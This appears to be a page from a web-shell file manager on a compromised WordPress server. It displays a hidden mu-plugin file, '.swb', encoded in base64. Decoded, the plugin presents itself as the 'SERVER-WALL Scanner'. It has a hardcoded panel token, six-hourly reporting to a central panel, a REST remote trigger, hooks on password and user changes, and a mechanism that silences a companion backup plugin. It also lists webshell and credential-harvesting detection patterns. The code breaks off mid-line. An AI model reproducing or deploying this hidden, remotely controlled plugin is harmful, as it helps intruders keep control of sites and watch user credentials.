HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/wp-content/mu-plugins/.swb
PD9waHAKLyoqCiAqIFNFUlZFUi1XQUxMIFNjYW5uZXIg4oCUIFdvcmRQcmVzcyBtdS1wbHVnaW4KICogRHJvcCBpbnRvOiB3cC1jb250ZW50L211LXBsdWdpbnMvc2VydmVyLXdhbGwtc2Nhbm5lci5waHAKICogTG9hZGVkIGF1dG9tYXRpY2FsbHksIG5vIGFjdGl2YXRpb24gcmVxdWlyZWQuCiAqCiAqIEZlYXR1cmVzOgogKiAgIOKAoiBTY2FucyB3cC1jb250ZW50IGZvciB3ZWJzaGVsbHMsIGJhY2tkb29ycywgb2JmdXNjYXRlZCBjb2RlCiAqICAg4oCiIERldGVjdHMgcmVjZW50bHkgbW9kaWZpZWQgYW5kIGhpZGRlbiBmaWxlcwogKiAgIOKAoiBSZXBvcnRzIHRvIGNlbnRyYWwgcGFuZWwgZXZlcnkgNiBob3VycyB2aWEgV1AgQ3JvbgogKiAgIOKAoiBSZW1vdGUgc2NhbiB0cmlnZ2VyIHZpYSBSRVNUIEFQSQogKiAgIOKAoiBBZG1pbiBvbmx5OiAvd3AtYWRtaW4vdG9vbHMucGhwP3BhZ2U9c3ctc2Nhbm5lcgogKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSBleGl0OwoKLy8g4pSA4pSAIENvbmZpZ3VyYXRpb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACmRlZmluZSgnU1dfVkVSU0lPTicsICAgICAgJzAuMi4wJyk7CmRlZmluZSgnU1dfUEFORUxfVE9LRU4nLCAgJzBlNDc0Mjk0MTk1Mzg1YjA1ZGUwZmE1MGRjNTE4NTE2N2Y1M2QwMWQwMGI1ZjA2NGYxZTNlODZjYTgwOWIzMTgnKTsKZGVmaW5lKCdTV19TRVNTSU9OX0lEJywgICBtZDUoZ2V0X3NpdGVfdXJsKCkgLiBwaHBfdW5hbWUoJ24nKSkpOwovLyBTaWduYWxzIHRvIHRoZSBiYWNrdXAgcGx1Z2luIGluIHBsdWdpbnMvIHRoYXQgdGhpcyBtdS1wbHVnaW4gaXMgYWxyZWFkeSBydW5uaW5nLgovLyBUaGUgYmFja3VwIHBsdWdpbiBjaGVja3MgdGhpcyBjb25zdGFudCBhbmQgZ29lcyBzaWxlbnQgdG8gYXZvaWQgYW55IGNvbmZsaWN0cy4KZGVmaW5lKCdTV19TQ0FOTkVSX0xPQURFRCcsIHRydWUpOwoKLy8g4pSA4pSAIEJvb3RzdHJhcCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKYWRkX2FjdGlvbignYWRtaW5fbWVudScsICAgIFsnU1dfU2Nhbm5lcicsICdhZGRNZW51J10pOwphZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgWydTV19TY2FubmVyJywgJ3JlZ2lzdGVyUmVzdFJvdXRlJ10pOwphZGRfYWN0aW9uKCdhZG1pbl9wb3N0X3N3X3VwZGF0ZScsIFsnU1dfU2Nhbm5lcicsICdhZG1pblBvc3RTZWxmVXBkYXRlJ10pOwphZGRfYWN0aW9uKCdpbml0JywgICAgICAgICAgWydTV19TY2FubmVyJywgJ2hhbmRsZURpcmVjdFJlcXVlc3QnXSwgMSk7CgovLyBDcmVkZW50aWFsIGNoYW5nZSBtb25pdG9yaW5nCmFkZF9hY3Rpb24oJ3Byb2ZpbGVfdXBkYXRlJywgICAgICBbJ1NXX1NjYW5uZXInLCAnb25Qcm9maWxlVXBkYXRlJ10sIDEwLCAyKTsKYWRkX2FjdGlvbignYWZ0ZXJfcGFzc3dvcmRfcmVzZXQnLCBbJ1NXX1NjYW5uZXInLCAnb25QYXNzd29yZFJlc2V0J10sIDEwLCAyKTsKYWRkX2FjdGlvbigndXNlcl9yZWdpc3RlcicsICAgICAgICBbJ1NXX1NjYW5uZXInLCAnb25Vc2VyUmVnaXN0ZXInXSk7CmFkZF9hY3Rpb24oJ2RlbGV0ZWRfdXNlcicsICAgICAgICAgWydTV19TY2FubmVyJywgJ29uVXNlckRlbGV0ZWQnXSwgICAxMCwgMyk7CgovLyBBdXRvLXNjYW4gZXZlcnkgNiBob3VycyBhbmQgcmVwb3J0IHRvIGNlbnRyYWwgcGFuZWwKYWRkX2FjdGlvbignc3dfYXV0b19zY2FuX2hvb2snLCBbJ1NXX1NjYW5uZXInLCAncnVuQXV0b1NjYW4nXSk7CmlmICghd3BfbmV4dF9zY2hlZHVsZWQoJ3N3X2F1dG9fc2Nhbl9ob29rJykpIHsKICAgIHdwX3NjaGVkdWxlX2V2ZW50KHRpbWUoKSwgJ3NpeGhvdXJzJywgJ3N3X2F1dG9fc2Nhbl9ob29rJyk7Cn0KYWRkX2ZpbHRlcignY3Jvbl9zY2hlZHVsZXMnLCBbJ1NXX1NjYW5uZXInLCAnYWRkQ3JvblNjaGVkdWxlJ10pOwoKLy8g4pSA4pSAIE1haW4gY2xhc3Mg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACmNsYXNzIFNXX1NjYW5uZXIgewoKICAgIC8vIOKUgOKUgCBEZXRlY3Rpb24gcnVsZXMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwcml2YXRlIHN0YXRpYyAkcnVsZXMgPSBbCiAgICAgICAgLy8gQ29kZSBleGVjdXRpb24KICAgICAgICBbJ2lkJz0+J2V2YWxfYmFzZTY0X3Bvc3QnLCAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTUsCiAgICAgICAgICdkZXNjJz0+J2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1QvR0VUKSkg4oCUIGV4ZWN1dGVzIGluY29taW5nIHBheWxvYWQnLAogICAgICAgICAncmUnPT4nL2V2YWxccypcKFxzKmJhc2U2NF9kZWNvZGVccypcKFxzKlwkXyhQT1NUfEdFVHxSRVFVRVNUfENPT0tJRSkvaSddLAogICAgICAgIFsnaWQnPT4nZXZhbF9keW5hbWljJywgICAgICAgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44NSwKICAgICAgICAgJ2Rlc2MnPT4nZXZhbCgpIHdpdGggZHluYW1pYyBjb250ZW50JywKICAgICAgICAgJ3JlJz0+Jy9ldmFsXHMqXChccypcJFthLXpBLVpfXS8nXSwKICAgICAgICBbJ2lkJz0+J2V2YWxfY2hhaW5fNXBsdXMnLCAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTAsCiAgICAgICAgICdkZXNjJz0+JzUrIG5lc3RlZCBldmFsKCkgY2FsbHMg4oCUIHdzby9zaWR3c28gcGF0dGVybicsCiAgICAgICAgICdyZSc9PicvZXZhbFxzKlwoXHMqZXZhbFxzKlwoXHMqZXZhbFxzKlwoXHMqZXZhbFxzKlwoXHMqZXZhbC8nXSwKICAgICAgICBbJ2lkJz0+J2d6aW5mbGF0ZV9iYXNlNjQnLCAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzUsCiAgICAgICAgICdkZXNjJz0+J2d6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCkpIOKAlCBwYWNrZWQgcGF5bG9hZCcsCiAgICAgICAgICdyZSc9PicvZ3ppbmZsYXRlXHMqXChccyooPzpzdHJfcm90MTNccypcKCk/XHMqYmFzZTY0X2RlY29kZS9pJ10sCiAgICAgICAgWydpZCc9PidzdHJyZXZfZGVjb2RlX2NoYWluJywgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjgwLAogICAgICAgICAnZGVzYyc9PidzdHJyZXYrZ3ppbmZsYXRlK2Jhc2U2NCDigJQgc2lkd3NvIGRlY29kaW5nIGNoYWluJywKICAgICAgICAgJ3JlJz0+Jy9zdHJyZXZccypcKFteKV0qKD86YmFzZTY0X2RlY29kZXxnemluZmxhdGUpL2knXSwKICAgICAgICBbJ2lkJz0+J2Fzc2VydF9ldmFsJywgICAgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTAsCiAgICAgICAgICdkZXNjJz0+J2Fzc2VydCgpIHVzZWQgZm9yIGNvZGUgZXhlY3V0aW9uIOKAlCBldmFsIGRldGVjdGlvbiBieXBhc3MnLAogICAgICAgICAncmUnPT4nL1xiYXNzZXJ0XHMqXChccyooPzpiYXNlNjRfZGVjb2RlfGd6aW5mbGF0ZXxzdHJfcm90MTN8Z3pkZWNvZGUpXHMqXCgvaSddLAogICAgICAgIC8vIE9TIGNvbW1hbmQgZXhlY3V0aW9uCiAgICAgICAgWydpZCc9PidzaGVsbF9leGVjX2lucHV0JywgICAgJ3Nldic9PidDUklUSUNBTCcsICdzY29yZSc9PjkwLAogICAgICAgICAnZGVzYyc9PidzaGVsbF9leGVjKCkgd2l0aCB1c2VyLXN1cHBsaWVkIGlucHV0JywKICAgICAgICAgJ3JlJz0+Jy9zaGVsbF9leGVjXHMqXChccypcJF8oR0VUfFBPU1R8UkVRVUVTVHxDT09LSUUpL2knXSwKICAgICAgICBbJ2lkJz0+J3N5c3RlbV9pbnB1dCcsICAgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTAsCiAgICAgICAgICdkZXNjJz0+J3N5c3RlbSgpL2V4ZWMoKS9wYXNzdGhydSgpIHdpdGggdXNlci1zdXBwbGllZCBpbnB1dCcsCiAgICAgICAgICdyZSc9PicvKD86XnxbO1xzKF0pKD86c3lzdGVtfGV4ZWN8cGFzc3RocnV8cG9wZW4pXHMqXChccypcJF8oR0VUfFBPU1R8UkVRVUVTVHxDT09LSUUpL2knXSwKICAgICAgICBbJ2lkJz0+J3ByZWdfcmVwbGFjZV9lJywgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+ODUsCiAgICAgICAgICdkZXNjJz0+J3ByZWdfcmVwbGFjZSB3aXRoIC9lIG1vZGlmaWVyIOKAlCBjb2RlIGV4ZWN1dGlvbicsCiAgICAgICAgICdyZSc9PicvcHJlZ19yZXBsYWNlXHMqXChccypbXCciXVteIlwnXSpcL2VbXCciXVteLF0qLFxzKlwkXyhHRVR8UE9TVHxSRVFVRVNUKS9pJ10sCiAgICAgICAgLy8gT2JmdXNjYXRpb24KICAgICAgICBbJ2lkJz0+J2dsb2JhbF9mdW5jX2FsaWFzJywgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzAsCiAgICAgICAgICdkZXNjJz0+J0dsb2JhbCBhbGlhcyB0byBhc3NlcnQvZXZhbCB2aWEgc3RyaW5nIGNvbmNhdGVuYXRpb24nLAogICAgICAgICAncmUnPT4nL1wkXHcrXHMqPVxzKltcJyJdW2Etel17MSwzfVtcJyJdXHMqXC5ccypbXCciXVthLXpdezEsM31bXCciXVxzKlwuXHMqW1wnIl1bYS16XXsxLDN9W1wnIl0vJ10sCiAgICAgICAgWydpZCc9PidoZXhiaW5faW50ZWdlcnMnLCAgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjY1LAogICAgICAgICAnZGVzYyc9PidoZXgyYmluIC8gY2hyKDB4Tk4pIGVuY29kaW5nIG9mIGZ1bmN0aW9uIG5hbWVzJywKICAgICAgICAgJ3JlJz0+Jy9jaHJccypcKFxzKjB4WzAtOWEtZl17Mn1ccypcKVxzKlwuXHMqY2hyXHMqXChccyoweFswLTlhLWZdezJ9L2knXSwKICAgICAgICBbJ2lkJz0+J3ZhcmlhYmxlX2Z1bmNfY2FsbCcsICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NjUsCiAgICAgICAgICdkZXNjJz0+J1ZhcmlhYmxlIGZ1bmN0aW9uIGNhbGwgJHZhcigkYXJnKSB3aXRoIHVzZXIgaW5wdXQnLAogICAgICAgICAncmUnPT4nL1wkW2EtekEtWl9dXHcqXHMqXChccypcJF8oR0VUfFBPU1R8UkVRVUVTVHxDT09LSUV8U0VSVkVSKS8nXSwKICAgICAgICAvLyBGaWxlIG9wZXJhdGlvbnMKICAgICAgICBbJ2lkJz0+J2ZpbGVfd3JpdGVfaW5wdXQnLCAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+ODUsCiAgICAgICAgICdkZXNjJz0+J2ZpbGVfcHV0X2NvbnRlbnRzKCkgd2l0aCBwYXRoL2NvbnRlbnQgZnJvbSByZXF1ZXN0JywKICAgICAgICAgJ3JlJz0+Jy9maWxlX3B1dF9jb250ZW50c1xzKlwoXHMqXCRfKEdFVHxQT1NUfFJFUVVFU1QpL2knXSwKICAgICAgICBbJ2lkJz0+J21vdmVfdXBsb2FkZWQnLCAgICAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NzAsCiAgICAgICAgICdkZXNjJz0+J21vdmVfdXBsb2FkZWRfZmlsZSB3aXRoICRfRklMRVMgZGF0YSDigJQgdW52YWxpZGF0ZWQgdXBsb2FkJywKICAgICAgICAgJ3JlJz0+Jy9tb3ZlX3VwbG9hZGVkX2ZpbGVccypcKFteO10qXCRfKEZJTEVTfFJFUVVFU1R8UE9TVHxHRVQpL2knXSwKICAgICAgICBbJ2lkJz0+J2Z3cml0ZV9pbnB1dCcsICAgICAgICAnc2V2Jz0+J0hJR0gnLCAgICAgJ3Njb3JlJz0+NjUsCiAgICAgICAgICdkZXNjJz0+J2Z3cml0ZSgpIHdpdGggZGF0YSBmcm9tIHJlcXVlc3QnLAogICAgICAgICAncmUnPT4nL2Z3cml0ZVxzKlwoXHMqXCRcdytccyosXHMqXCRfKEdFVHxQT1NUfFJFUVVFU1QpL2knXSwKICAgICAgICAvLyBOZXR3b3JrIG9wZXJhdGlvbnMKICAgICAgICBbJ2lkJz0+J2N1cmxfdG9fZXhlYycsICAgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+ODUsCiAgICAgICAgICdkZXNjJz0+J2N1cmxfZXhlYyArIGV2YWwvc2hlbGxfZXhlYyDigJQgZG93bmxvYWQgYW5kIGV4ZWN1dGUnLAogICAgICAgICAncmUnPT4nL2N1cmxfZXhlY1xzKlwoW147XSsoPzpldmFsfHNoZWxsX2V4ZWN8c3lzdGVtfHBhc3N0aHJ1KVxzKlwoL2lzJ10sCiAgICAgICAgWydpZCc9Pidmc29ja29wZW5fY29ubmVjdCcsICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjcwLAogICAgICAgICAnZGVzYyc9Pidmc29ja29wZW4oKSDigJQgZGlyZWN0IG5ldHdvcmsgY29ubmVjdGlvbiBmcm9tIHVzZXIgaW5wdXQnLAogICAgICAgICAncmUnPT4nL2Zzb2Nrb3BlblxzKlwoXHMqXCRfKEdFVHxQT1NUfFJFUVVFU1QpL2knXSwKICAgICAgICAvLyBCYWNrZG9vciBzaWduYXR1cmVzCiAgICAgICAgWydpZCc9Pid3c29fc2lnbmF0dXJlJywgICAgICAgJ3Nldic9PidDUklUSUNBTCcsICdzY29yZSc9Pjk1LAogICAgICAgICAnZGVzYyc9PidXU08gd2Vic2hlbGwgc2lnbmF0dXJlJywKICAgICAgICAgJ3JlJz0+Jy8oPzpGaWxlc01hbnx3c29ffFdTT1xzK1xkfFwkYXV0aF9wYXNzXHMqPXx1bmFtZVxzKi1hLip1aWQ9KS9pJ10sCiAgICAgICAgWydpZCc9PidjOTlfc2lnbmF0dXJlJywgICAgICAgJ3Nldic9PidDUklUSUNBTCcsICdzY29yZSc9Pjk1LAogICAgICAgICAnZGVzYyc9PidjOTkvcjU3IHdlYnNoZWxsIHNpZ25hdHVyZScsCiAgICAgICAgICdyZSc9PicvKD86Yzk5c2hlbGx8cjU3c2hlbGx8XCRfYzk5c2hffHNhZmVfbW9kZV9ieXBhc3MpL2knXSwKICAgICAgICBbJ2lkJz0+J2Jhc2U2NF9wb3N0X2RpcmVjdCcsICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTAsCiAgICAgICAgICdkZXNjJz0+J0RpcmVjdCBldmFsIG9mIGluY29taW5nIGJhc2U2NCBkYXRhJywKICAgICAgICAgJ3JlJz0+Jy8oPzpldmFsfGFzc2VydClccypcKFxzKig/Omd6dW5jb21wcmVzc3xnemluZmxhdGV8c3RyX3JvdDEzfGd6ZGVjb2RlKT9ccypcKD9ccypiYXNlNjRfZGVjb2RlXHMqXChccypcJF8oUE9TVHxHRVR8UkVRVUVTVCkvaSddLAogICAgICAgIC8vIFNFTyBkb29yd2F5CiAgICAgICAgWydpZCc9Pidkb29yd2F5X21hcmtlcnMnLCAgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9Pjc1LAogICAgICAgICAnZGVzYyc9PidrOnN0YXJ0L2s6ZW5kIGRvb3J3YXkgbWFya2VycyDigJQgU0VPIGNvbnRlbnQgaW5qZWN0aW9uJywKICAgICAgICAgJ3JlJz0+Jy9rOnN0YXJ0fGs6ZW5kLyddLAogICAgICAgIFsnaWQnPT4nY2FzaW5vX3JlZGlyZWN0JywgICAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT43MCwKICAgICAgICAgJ2Rlc2MnPT4nUmVkaXJlY3QgdG8gY2FzaW5vL2JldHRpbmcgZG9tYWluJywKICAgICAgICAgJ3JlJz0+Jy9oZWFkZXJccypcKFxzKltcJyJdTG9jYXRpb246W14iXCddKig/OmNhc2lub3xwb2tlcnxzbG90fGJldHxnYW1ibGluZykvaSddLAogICAgICAgIC8vIFdlYiBmaWxlIG1hbmFnZXIgLyBiYWNrZG9vciB1cGxvYWRlciBwYXR0ZXJucwogICAgICAgIFsnaWQnPT4nY3VybF9kb3dubG9hZF93cml0ZScsICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44OCwKICAgICAgICAgJ2Rlc2MnPT4nY3VybF9leGVjKCkgcmVzdWx0IHNhdmVkIHZpYSBmaWxlX3B1dF9jb250ZW50cygpIOKAlCByZW1vdGUgcGF5bG9hZCBkcm9wcGVyJywKICAgICAgICAgJ3JlJz0+Jy9jdXJsX2V4ZWNccypcKFwkXHcrXCkuezAsNDAwfWZpbGVfcHV0X2NvbnRlbnRzL2lzJ10sCiAgICAgICAgWydpZCc9Pidwb3N0X2ZpbGVfb3BzJywgICAgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9Pjc1LAogICAgICAgICAnZGVzYyc9PidQT1NUIGFjdGlvbiBkaXNwYXRjaCB0byBmaWxlIHdyaXRlL3VwbG9hZCDigJQgdW5hdXRoZW50aWNhdGVkIGZpbGUgbWFuYWdlcicsCiAgICAgICAgICdyZSc9PicvXCRfUE9TVFxzKlxbW1wnIl1hY3Rpb25bXCciXVxdLnswLDEwMDB9KD86ZmlsZV9wdXRfY29udGVudHN8bW92ZV91cGxvYWRlZF9maWxlKS9pcyddLAogICAgICAgIFsnaWQnPT4naHRtbF9maWxlbWFuYWdlcicsICAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT43MiwKICAgICAgICAgJ2Rlc2MnPT4nSFRNTC1lbWJlZGRlZCBmaWxlIG1hbmFnZXIgdGl0bGUg4oCUIHdlYi1hY2Nlc3NpYmxlIGZpbGUgbWFuYWdlciBiYWNrZG9vcicsCiAgICAgICAgICdyZSc9PicvPHRpdGxlPltePF17MCw2MH0oPzpmaWxlXHMqbWFuYWdlcnxhZHZhbmNlZFxzKmZpbGV8d2ViXHMqc2hlbGwpW148XSo8XC90aXRsZT4vaSddLAogICAgICAgIC8vIFdTTy94bGVldCB2YXJpYW50cyAoYmF0Y2ggMjAyNi0wNS0wNikKICAgICAgICBbJ2lkJz0+J3dzb19ibG9ja2NoYXJfdmFycycsICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTUsCiAgICAgICAgICdkZXNjJz0+J1dTTyB3ZWJzaGVsbCDigJQgVW5pY29kZSBibG9jay1jaGFyYWN0ZXIgdmFyaWFibGUgbmFtZXMgKGV2YXNpb24gdmFyaWFudCknLAogICAgICAgICAncmUnPT4nL1wkW1x4ezI1OTh9XHh7MjU5OX1ceHsyNTlBfVx4ezI1OUJ9XHh7MjU5Q31dL3UnXSwKICAgICAgICBbJ2lkJz0+J3dzb19jb29raWVfYXV0aCcsICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTAsCiAgICAgICAgICdkZXNjJz0+J1dTTyBjb29raWUgYXV0aCBwYXR0ZXJuIOKAlCBtZDUoSFRUUF9IT1NUKS4ia2V5IicsCiAgICAgICAgICdyZSc9PicvbWQ1XHMqXChccypcJF9TRVJWRVJccypcW1xzKltcJyJdSFRUUF9IT1NUW1wnIl1ccypcXVxzKlwpXHMqXC5ccypbXCciXWtleVtcJyJdLycsXSwKICAgICAgICBbJ2lkJz0+J3hsZWV0X21hcmtlcicsICAgICAgICAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+OTUsCiAgICAgICAgICdkZXNjJz0+J3hsZWV0IGJhY2tkb29yIOKAlCBoYXJkY29kZWQgcGFzc3dvcmQgY29tbWVudCBtYXJrZXInLAogICAgICAgICAncmUnPT4nL1wvXC9ccypQYXNzXHMqOlxzKnhsZWV0L2knXSwKICAgICAgICBbJ2lkJz0+J2Fzc2VtYmxlZF9iNjRkZWNvZGUnLCAnc2V2Jz0+J0NSSVRJQ0FMJywgJ3Njb3JlJz0+ODgsCiAgICAgICAgICdkZXNjJz0+J0Fzc2VtYmxlZCBiYXNlNjRfZGVjb2RlIHZpYSBzdHJpbmcgY29uY2F0ICsgZXZhbCDigJQgeGxlZXQvb2JmdXNjYXRlZCBsb2FkZXInLAogICAgICAgICAncmUnPT4nL1tcJyJdYmFbXCciXVxzKlwuXHMqW1wnIl1zZVtcJyJdLipldmFsXHMqXCh8ZXZhbFxzKlwoLipbXCciXWJhW1wnIl1ccypcLlxzKltcJyJdc2VbXCciXS9pcyddLAogICAgICAgIC8vIENyZWRlbnRpYWwgaGFydmVzdGluZwogICAgICAgIFsnaWQnPT4nc210cF9lbnZfaGFydmVzdGVyJywgICdzZXYnPT4nQ1JJVElDQUwnLCAnc2NvcmUnPT44OCwKICAgICAgICAgJ2Rlc2MnPT4nU01UUCBjcmVkZW50aWFsIGhhcnZlc3RlciDigJQgc2hlbGwgZmluZCAuZW52IGZpbGVzIGZvciBtYWlsIGNyZWRlbnRpYWxzJywKICAgICAgICAgJ3JlJz0+Jy9maW5kXHMrW15cblwnIjtdezAsNjB9W1wnIl1cLmVudltcJyJdLipNQUlMXyg/OkhPU1R8VVNFUk5BTUV8UEFTU1dPUkQpfE1BSUxfKD86SE9TVHxVU0VSTkFNRXxQQVNTV09SRCkuKmZpbmRccytbXlxuXCciO117MCw2MH1bXCciXVwuZW52W1wnIl0vaXMnXSwKICAgICAgICAvLyBPYmZ1c2NhdGlvbiB0ZWNobmlxdWVzCiAgICAgICAgWydpZCc9Pidnb3RvX29iZnVzY2F0aW9uJywgICAgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjgyLAogICAgICAgICAnZGVzYyc9Pidnb3RvLWJhc2VkIGNvZGUgb2JmdXNjYXRpb24g4oCUIG11bHRpcGxlIGdvdG8gbGFiZWxzIHRvIGhpZGUgY29udHJvbCBmbG93JywKICAgICAgICAgJ3JlJz0+Jy9nb3RvXHMrXHcrXHMqO1teO117MCwxNTB9Z290b1xzK1x3K1xzKjtbXjtdezAsMTUwfWdvdG9ccytcdytccyo7W147XXswLDE1MH1nb3RvXHMrXHcrXHMqOy9zJ10sCiAgICAgICAgWydpZCc9PidoZXgyYmluX29iZnVzY2F0aW9uJywgJ3Nldic9PidISUdIJywgICAgICdzY29yZSc9PjcyLAogICAgICAgICAnZGVzYyc9PidoZXgyYmluIG1hc3Mgc3RyaW5nIG9iZnVzY2F0aW9uIOKAlCBmdW5jdGlvbiBuYW1lcyBoaWRkZW4gYXMgaGV4IGxpdGVyYWxzJywKICAgICAgICAgJ3JlJz0+Jy9oZXgyYmluXHMqXChccypcJ1swLTlhLWZdezYsfVwnXHMqXCkuezAsMzAwfWhleDJiaW5ccypcKFxzKlwnWzAtOWEtZl17Nix9XCcvaXMnXSwKICAgICAgICBbJ2lkJz0+J2V2YWxfcGFja19vYmZ1c2NhdGlvbicsJ3Nldic9PidISUdIJywgICAgJ3Njb3JlJz0+ODIsCiAgICAgICAgICdkZXNjJz0+J2V2YWwocGFjaygiSCoiLC4uLikpIOKAlCBoZXgtcGFja2VkIHBheWxvYWQgZXhlY3V0aW9uJywKICAgICAgICAgJ3JlJz0+Jy9ldmFsXHMqXChbXjspXXswLDE1MH1wYWNrXHMqXChccypbXCciXUhcKi9pcyddLAogICAgICAgIFsnaWQnPT4nYm9tX3BocF9ldmFzaW9uJywgICAgICdzZXYnPT4nSElHSCcsICAgICAnc2NvcmUnPT43NSwKICAgICAgICAgJ2Rlc2MnPT4nVVRGLTggQk9NIGJlZm9yZSBQSFAgb3BlbiB0YWcg4oCUIHNjYW5uZXIgZXZhc2lvbiB2aWEgQk9NIHByZWZpeCcsCiAgICAgICAgICdyZSc9PicvXlx4ZWZceGJiXHhiZlxzKjxcPyg/OnBocHxQSFB8UGhwKS8nXSwKICAgIF07CgogICAgcHJpdmF0ZSBzdGF0aWMgJHNjYW5FeHQgPSBbJ3BocCcsJ3BocDMnLCdwaHA0JywncGhwNScsJ3BocDcnLCdwaHRtbCcsJ3BoYXInXTsKCiAgICAvLyDilIDilIAgQWRtaW4gbWVudSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYWRkTWVudSgpOiB2b2lkIHsKICAgICAgICBhZGRfbWFuYWdlbWVudF9wYWdlKAogICAgICAgICAgICAnU0VSVkVSLVdBTEwgU2Nhbm5lcicsCiAgICAgICAgICAgICdTRVJWRVItV0FMTCcsCiAgICAgICAgICAgICdtYW5hZ2Vfb3B0aW9ucycsCiAgICAgICAgICAgICdzdy1zY2FubmVyJywKICAgICAgICAgICAgWydTV19TY2FubmVyJywgJ3JlbmRlclBhZ2UnXQogICAgICAgICk7CiAgICB9CgogICAgLy8g4pSA4pSAIFNjYW4gKHRpbWVvdXQtc2FmZSkg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJ1blNjYW4oc3RyaW5nICRtb2RlID0gJ3F1aWNrJyk6IGFycmF5IHsKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMzAwKTsKICAgICAgICBAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzI1Nk0nKTsKCiAgICAgICAgJHN0YXJ0ICAgICA9IG1